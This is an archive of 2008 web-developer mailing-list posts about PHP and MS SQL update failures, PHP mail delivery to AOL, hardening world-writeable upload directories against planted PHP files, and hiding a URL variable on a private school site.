Re: [wdvltalk] strange mssql problem

2008-12-08 Thread steve miller

Thanks for the thoughts Zach.
It is definitely a table, not a view.

We did try pasting on of the sql staements into our interface, and  
the update worked fine.

This means the actual syntax is correct and the table is up-dateable.

Just can't get it to work from within php...

steve




On Dec 8, 2008, at 4:04 PM, Zachary Kent wrote:


I would be sure that the "table" that you are trying to update is an
actual table and not a view.  Also, as someone else suggested, put a
breakpoint in your code where the final sql query string is created,
copy that query and run it against the db using Management Studio.
You will get an error message there if there is one.

Zach

On Wed, Nov 19, 2008 at 10:04 AM, steve miller <[EMAIL PROTECTED]>  
wrote:

Hi all,

We are using php to connect to a local MS SQL database, and all  
seems to be

fine.
We are connecting to several tables within the same database, and  
are able

to insert, update, delete, etc.
However, there is one table that refuses to let us update, and we  
can not

figure out why.

We get no errors from the script, but no records updated.
If I echo out the sql statement, connect to the database with  
Access as the

same user, and copy/paste the query into Access, the update works.

We have looked at the table in every way we know how to look, and  
we can't

find anything that would stop php from doing updates.

The table is part of a purchased application and is a very  
important one, so
we are wondering if there could be some restrictions defined  
somewhere.

Any thoughts on where to look?
Any special log somewhere that might tell us why the updates  
aren't working?


Any help appreciated.
steve





 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] aol mail

2008-12-01 Thread steve miller
Thanks Sheila.
I did consult that page a while back, and applied all that I could  
understand :)

steve



On Dec 1, 2008, at 12:05 PM, Sheila Fenelon wrote:

> Hi Steve,
>
> Maybe this page will help
> http://postmaster.aol.com/guidelines/bestprac.html
>
>
> Sheila
> http://www.shefen.com/
>
> steve miller wrote:
>> Hi Dave.
>>
>> I noticed that text/html just after I sent this and changed it it
>> text/plain, because I am not sending html at all.
>> I have sent mail (both html and text) to the same accounts using my
>> desktop app and they receive it fine.
>> Just not sure what my desktop might be sending that my php script is
>> not, and not sure any of these aol users would know how to tell me
>> what headers were received.
>>
>> steve
>>
>>
>>
>> On Dec 1, 2008, at 11:13 AM, David Precious wrote:
>>
>>> steve miller wrote:
>>>> Sorry if this is a repeat, but I could still use some help...
>>>> I am sending mail using php mail(), and everyone except aol
>>>> accounts are receiving it.
>>>> After browsing around looking for advice, these are the headers I
>>>> am sending:
>>>> $mailfrom = "MIME-Version: 1.0\r\n";
>>>> $mailfrom .= "Content-type: text/html; charset=utf-8\r\n";
>>>> $mailfrom .= "From: $ev_admin <$admin_email1>\r\n";
>>>> $mailfrom .= "Return-path: <$admin_email1>\r\n";
>>>> $mailfrom .= "Reply-To: $admin_email1\r\n";
>>>> Any suggestions?
>>> Accept that if only AOL are blocking the mails, the problem is AOL,
>>> and anyone using AOL needs to go get a decent email provider? :)
>>>
>>> Why do the block the mails?  Have you tried contacting their abuse
>>> team for guidance?  If you're bothered about trying to get your
>>> mails through to AOL users, then you'll have to find a way to work
>>> around whatever is causing the mails to be blocked.
>>>
>>> Do the mails go through if you send simple plain text mails rather
>>> than farting about with HTML mail?
>>>
>>> Cheers
>>>
>>> Dave P
>>>
>>>
>
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] aol mail

2008-12-01 Thread steve miller
Hi Dave.

I noticed that text/html just after I sent this and changed it it  
text/plain, because I am not sending html at all.
I have sent mail (both html and text) to the same accounts using my  
desktop app and they receive it fine.
Just not sure what my desktop might be sending that my php script is  
not, and not sure any of these aol users would know how to tell me  
what headers were received.

steve



On Dec 1, 2008, at 11:13 AM, David Precious wrote:

> steve miller wrote:
>> Sorry if this is a repeat, but I could still use some help...
>> I am sending mail using php mail(), and everyone except aol  
>> accounts are receiving it.
>> After browsing around looking for advice, these are the headers I  
>> am sending:
>> $mailfrom = "MIME-Version: 1.0\r\n";
>> $mailfrom .= "Content-type: text/html; charset=utf-8\r\n";
>> $mailfrom .= "From: $ev_admin <$admin_email1>\r\n";
>> $mailfrom .= "Return-path: <$admin_email1>\r\n";
>> $mailfrom .= "Reply-To: $admin_email1\r\n";
>> Any suggestions?
>
> Accept that if only AOL are blocking the mails, the problem is AOL,  
> and anyone using AOL needs to go get a decent email provider? :)
>
> Why do the block the mails?  Have you tried contacting their abuse  
> team for guidance?  If you're bothered about trying to get your  
> mails through to AOL users, then you'll have to find a way to work  
> around whatever is causing the mails to be blocked.
>
> Do the mails go through if you send simple plain text mails rather  
> than farting about with HTML mail?
>
> Cheers
>
> Dave P
>
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>   Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] aol mail

2008-12-01 Thread steve miller

Hi all.

Sorry if this is a repeat, but I could still use some help...

I am sending mail using php mail(), and everyone except aol accounts  
are receiving it.
After browsing around looking for advice, these are the headers I am  
sending:



$mailfrom = "MIME-Version: 1.0\r\n";
$mailfrom .= "Content-type: text/html; charset=utf-8\r\n";
$mailfrom .= "From: $ev_admin <$admin_email1>\r\n";
$mailfrom .= "Return-path: <$admin_email1>\r\n";
$mailfrom .= "Reply-To: $admin_email1\r\n";

Any suggestions?


steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] writeable directories

2008-11-26 Thread steve miller

Makes sense :)

A lot of what I deal with is for clients who want pre-written  
applications installed, and I guess I'll just have to check first to  
see how uploaded files are being handled.


Thanks!




On Nov 26, 2008, at 10:20 AM, David Precious wrote:


Matthew Macdonald-Wallace wrote:

Quoting steve miller <[EMAIL PROTECTED]>:

Still confused on a few things:
PHP uploads to a temp directory and then you need a script to  
move the
file. In oscommerce, there is no way for someone to access the  
upload
scripts unless they have access to the protected admin directory  
first.
So, how do they get the bad stuff into an open directory in the  
first

place?

Depends how well that directory is protected.
A simple test - create a file on your local machine with a form  
that has the same fields as the "upload" form in the admin  
directory and point it at the file on the server.
Try to upload using the form on the local machine.  If this works,  
then that's probably how it was hacked.


Agreed, that's a simple test (ensure you're not logged in when you  
try it though, obviously).




Any page I write that is in a protected directory asks for the  
session authentication before it does anything else - it's not  
foolproof but it does help.


Indeed - authentication/authorisation should always be checked first.

I think that, due to the way CGI file uploads work, the file will  
always be uploaded to the web server, but to a temporary directory  
somewhere; as long as the script it was POSTed to does /not/ move  
the file from that temporary location to wherever it wanted to put  
it before checking the user is authorised, all should be fine, and  
the temporary file should get deleted automatically when the  
request is over with.


Cheers

David P



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] writeable directories

2008-11-26 Thread steve miller

I'll test!
Sure hope it's not this easy, because it means that directory  
permissions are not going to stop anything :(


On Nov 26, 2008, at 10:09 AM, Matthew Macdonald-Wallace wrote:


Quoting steve miller <[EMAIL PROTECTED]>:

Still confused on a few things:
PHP uploads to a temp directory and then you need a script to move  
the

file. In oscommerce, there is no way for someone to access the upload
scripts unless they have access to the protected admin directory  
first.

So, how do they get the bad stuff into an open directory in the first
place?


Depends how well that directory is protected.

A simple test - create a file on your local machine with a form  
that has the same fields as the "upload" form in the admin  
directory and point it at the file on the server.


Try to upload using the form on the local machine.  If this works,  
then that's probably how it was hacked.


Any page I write that is in a protected directory asks for the  
session authentication before it does anything else - it's not  
foolproof but it does help.


M.
--



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] writeable directories

2008-11-26 Thread steve miller


On Nov 26, 2008, at 9:42 AM, David Precious wrote:

Will untrusted users be able to upload stuff, or will uploading be  
limited to trusted users only?  If trusted users only, then, as  
long as the software has no silly holes in it, you should be  
relatively safe.


Cheers

Dave P



This is the part I don't understand! In oscommerce, you can not  
upload files unless you have access to the admin section which  
requires knowledge of username/pw. Yet somehow the images directory  
with 777 gets files uploaded into it. How are they doing this?


This is on a shared server; is it possible they are getting in from  
some other domain on the server?


steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] writeable directories

2008-11-26 Thread steve miller

On Nov 26, 2008, at 9:11 AM, Matthew Macdonald-Wallace wrote:



Your best bet is to set the owner to the username your webserver runs
under and the group to user.  Then set the permissions to the  
following:


754

This gives the user full rights, the group read + execute and the
world read privileges although it will not work with all systems.


Thanks Matt.

Still confused on a few things:
PHP uploads to a temp directory and then you need a script to move  
the file. In oscommerce, there is no way for someone to access the  
upload scripts unless they have access to the protected admin  
directory first. So, how do they get the bad stuff into an open  
directory in the first place?


steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] writeable directories

2008-11-26 Thread steve miller


On Nov 26, 2008, at 9:18 AM, David Precious wrote:



Having the permissions set to 777 means that any user who has an  
account on that server could write to that directory.


For an attacker to upload stuff there, it's almost certainly  
nothing to do with the directory being word-writable, but due to a  
badly-written bit of software which accepts uploaded files and  
stores them in a web-accessible path.


Thanks Dave.

The one gallery I was interested in was coppermine, which requires  
777 on certain directories that by design already contain some php  
files and other misc stuff. Since I may not have the skill to re- 
write some of these applications, is it possible to add some stuff to  
an htaccess file to stop new uploads of certain types? I have seen  
suggestions like:


< FilesMatch "\.(inc|tpl|h|ihtml|sql|ini|conf|class|bin|spd|theme| 
module|exe|php)$" >


deny from all

< /FilesMatch >





steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] writeable directories

2008-11-26 Thread steve miller

Hi all.

I have read a bit about having web directories that are world writeable.
Some say that they are a security hole and some say they are not.

I have used open source applications like oscommerce and have had  
several of them hacked, finding php files placed within the images  
directory. My host claims it is because the images directory is world- 
writeable and someone uploaded files into it.


I am looking into using a photo gallery (coppermine), and it needs  
777 permissions on the upload directories in order to allow user  
uploads.
I am worried about using it even though there are many on the  
coppermine forum that claim it is not a security risk.



So, my questions are:

1) is 777 really a security hole or not?
2) I noticed that some servers give upload files "www" ownership and  
others give "user" ownership...does that make any difference?
3) if 777 is a hole, why are applications still being written with  
this requirement?


thanks for any guidance!

steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] need aol mail help

2008-11-25 Thread steve miller

Hi all.

I am using php and mail() to try to send text-only email responses  
within some scripts, but aol addresses are not receiving them.

I am using simple stuff like this, with no other headers:

$mailfrom="From: $super_email";
$mailto="$users[2]";
$mailsubject="Registration Re-activation";
mail($mailto,$mailsubject,$mailbody,$mailfrom);

I found some info that suggests the need for more parameters, like  
these:


ini_set("sendmail_from","[EMAIL PROTECTED]");
mail($my_email,$subject,$message,$headers,"[EMAIL PROTECTED]");

but was wondering if someone could let me know if there is a complete  
explanation somewhere that I could read up on.




thanks!
steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] strange mssql problem

2008-11-20 Thread steve miller
Hi Tim,

I'll check, but I'm almost positive there is a primary key because  
this is a main "Customer" table which identifies all the important  
info about the clients.


steve



On Nov 20, 2008, at 9:35 AM, Furry, Tim wrote:

> steve wrote...
> We are using php to connect to a local MS SQL database, and all  
> seems to be fine. We are connecting to several tables within the  
> same database, and are able to insert, update, delete, etc.  
> However, there is one table that refuses to let us update, and we  
> can not figure out why.
>
> We get no errors from the script, but no records updated. If I echo  
> out the sql statement, connect to the database with Access as the  
> same user, and copy/paste the query into Access, the update works.
>
> Tim responds:
> One thing you might check is if the table in question has a primary  
> key.  In some situations the lack of a primary key will prevent  
> DBMSs from updating rows (i.e. it doesn't have any way to lock the  
> record). This problem usually doesn't throw an error (speaking from  
> experience).
>
>
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] strange mssql problem

2008-11-19 Thread steve miller

I'll check on the field types and give it a whirl.

thanks!

On Nov 19, 2008, at 12:58 PM, Cheryl Hewitt wrote:

You are using MS SQL, right? If you are using a view then you can  
set rights as to what the view can do (i.e. select, update, delete)  
for a specific user role. It is just a level of protection. Same  
thing goes for stored procedures.


If those are integer fields, then do this:
update Customers set zipcode= 12345 where CustomerId= 23456
(no single quotes/ticks)

HTH,

Cheryl



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] strange mssql problem

2008-11-19 Thread steve miller

Thanks Ross.
The person I am working with has access to the database (he's the IT  
person for the company), and he should be able to get the tools and  
do the looking. He has already looked at the table permissions with  
whatever tools sqlserver comes with, and he doesn't see anything  
different from the other tables that we CAN update. The strange thing  
is that we can update one table, and using the same connect strings  
and user we can't update the other.


I'll pass this along and see what comes up!

thanks


On Nov 19, 2008, at 10:52 AM, Ross Clutterbuck wrote:


Steve:

I had to use SQL Server recently and I found it to be a pain with
things like this, especially when I have next-to-no experience with
it. I can't really suggest where to look to fix your issues directly,
but two things I found very useful in working out my own issues:

-- write a script in ASP (if you can) that performs the same
operations on this table as you're trying to do in PHP to see if
there's any problem interfacing with this table over web techs (for
some reason I did)
-- if you don't already have it, try accessing the SQL Server using
SQL Server Management Studio (tis free from MSDN) and have a play.
There's some nice tools in there to check connections, permissions and
such, plus you can run queries directly through the GUI and get
feedback. I think there's also extensive logging you can access too so
that might show up weirdness if things don't behave the way you'd
expect.

Sorry I can't help much more than that!

MOU

2008/11/19 steve miller <[EMAIL PROTECTED]>:

Hi all,

We are using php to connect to a local MS SQL database, and all  
seems to be

fine.
We are connecting to several tables within the same database, and  
are able

to insert, update, delete, etc.
However, there is one table that refuses to let us update, and we  
can not

figure out why.

We get no errors from the script, but no records updated.
If I echo out the sql statement, connect to the database with  
Access as the

same user, and copy/paste the query into Access, the update works.

We have looked at the table in every way we know how to look, and  
we can't

find anything that would stop php from doing updates.

The table is part of a purchased application and is a very  
important one, so
we are wondering if there could be some restrictions defined  
somewhere.

Any thoughts on where to look?
Any special log somewhere that might tell us why the updates  
aren't working?


Any help appreciated.
steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] strange mssql problem

2008-11-19 Thread steve miller

Hi all,

We are using php to connect to a local MS SQL database, and all seems  
to be fine.
We are connecting to several tables within the same database, and are  
able to insert, update, delete, etc.
However, there is one table that refuses to let us update, and we can  
not figure out why.


We get no errors from the script, but no records updated.
If I echo out the sql statement, connect to the database with Access  
as the same user, and copy/paste the query into Access, the update  
works.


We have looked at the table in every way we know how to look, and we  
can't find anything that would stop php from doing updates.


The table is part of a purchased application and is a very important  
one, so we are wondering if there could be some restrictions defined  
somewhere.

Any thoughts on where to look?
Any special log somewhere that might tell us why the updates aren't  
working?


Any help appreciated.
steve





 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] url rewrite help needed

2008-10-20 Thread steve miller

Couldn't agree more, but the school is not very up on technology yet.
We are actually a club of parents that support various school  
activities, like their music program.
We run trips and things to raise money, so we are not "officially"  
part of the school system.

The school has a basic site, but they don't do much with it.

We wrote an application to help us coordinate everything, and  
facilitate signups, $ tracking, etc.
We need the student IDs, names, grades, contact info, etc to make it  
all work.
Technically, the school's only involvement is to sanction it, share  
the student info, and give us a link from their edline account.


It would be different if the school initiated the project, but they  
didn't. So, our task is to make it as secure as possible in order to  
sell it to all the other parents. If they can "google" it and find  
it, they might not use it.


We have a secure login and a certificate on the site, so any  
sensitive info will be difficult to see. However, but we were hoping  
to make it difficult to even hit so parents would feel more  
comfortable. I know that we will never hide it completely, we just  
want to do the best we can.


steve




On Oct 20, 2008, at 5:26 AM, Ross Clutterbuck wrote:


Sounds to me that you'll have much better luck approaching this in a
much more secure way instead of trying to fudge through limited tools
available to you.

If this school is even partially serious about protecting its pupils
then they should be open to discussion and you can illustrate these
difficulties you're having and the best way to achieve this goal.

To be honest though if this sensitive information is run from the
school's intranet then either they need to set up a secure VPN so you
can dial-in directly to the intranet or you simply don't provide
external access - if the school wants this information accessible then
they should really give the pupils provision to access it within
school hours.

Just my opinion!

MOU



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] url rewrite help needed

2008-10-20 Thread steve miller
OK.
Thanks for the thoughts.


steve
On Oct 19, 2008, at 9:23 PM, Sheila Fenelon wrote:

> steve miller wrote:
>> Hi Sheila.
>>
>> Guess I'm being thick here, but wouldn't the logged in visitor  
>> still see
>> the url to the intermediate script?
>> Or are you thinking it will happen so fast that they won't be able to
>> read it?
>>
>>
>
> Yes, exactly. Beside the URL is viewable on the protected site right?
> You can't hide it completely. It'll be in the browser's history as  
> well.
>
>>
>> On Oct 19, 2008, at 8:28 PM, Sheila Fenelon wrote:
>>
>>> steve miller wrote:
>>>> Guess I need to give more info.
>>>> This is a private site that the school does not want accessed  
>>>> via the
>>>> open web.
>>>> They don't have an intranet, so what we are doing is making it only
>>>> available through a site that they contract (edline.net).
>>>> In this way, school members log into edline first with a  
>>>> username and
>>>> pw, then they see the link to the private site.
>>>>
>>>> In order to keep general web visitors from even seeing the home  
>>>> page, I
>>>> am requiring a certain variable be present. If the variable is not
>>>> present, we re-direct to the school site which is public.
>>>>
>>>> So the problem is that I don't even want the members to see the
>>>> variable, or it might unintentionally get out.
>>>> I don't even want them to know that a variable is being passed.  
>>>> If they
>>>> see the id in the url, they might pass it on and the result is  
>>>> the same.
>>>>
>>>> So...I was hoping that somehow I could accept the variable but  
>>>> hide it
>>>> by re-writing the url.
>>>> Is something like that possible?
>>>>
>>>
>>> How about this? Use an intermediate script. The script that  
>>> checks for
>>> the variable sets a cookie and then redirects to the protected  
>>> page. The
>>> protected page checks for the cookie. If either check fails they
>>> redirect to the public site.
>>>
>>> Sheila
>>> -- 
>>> http://www.shefen.com/
>>>
>>>
>
>
>  • The WDVL Discussion List from WDVL.COM • 
> To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] 
> dl.sparklist.com or
> use the web interface http://e-newsletters.internet.com/ 
> discussionlists.html/
>Send Your Posts To: wdvltalk@lists.wdvl.com
> To change subscription settings, add a password or view the web  
> interface:
> http://intm-dl.sparklist.com/read/?forum=wdvltalk
>
>   http://www.wdvl.com  ___
>
> You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
> To unsubscribe send a blank email to  
> [EMAIL PROTECTED]
> To unsubscribe via postal mail, please contact us at:
> Jupitermedia Corp.
> Attn: Discussion List Management
> 475 Park Avenue South
> New York, NY 10016
>
> Please include the email address which you have been contacted with.
>


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] url rewrite help needed

2008-10-19 Thread steve miller



On Oct 19, 2008, at 8:37 PM, Hassan Schroeder wrote:

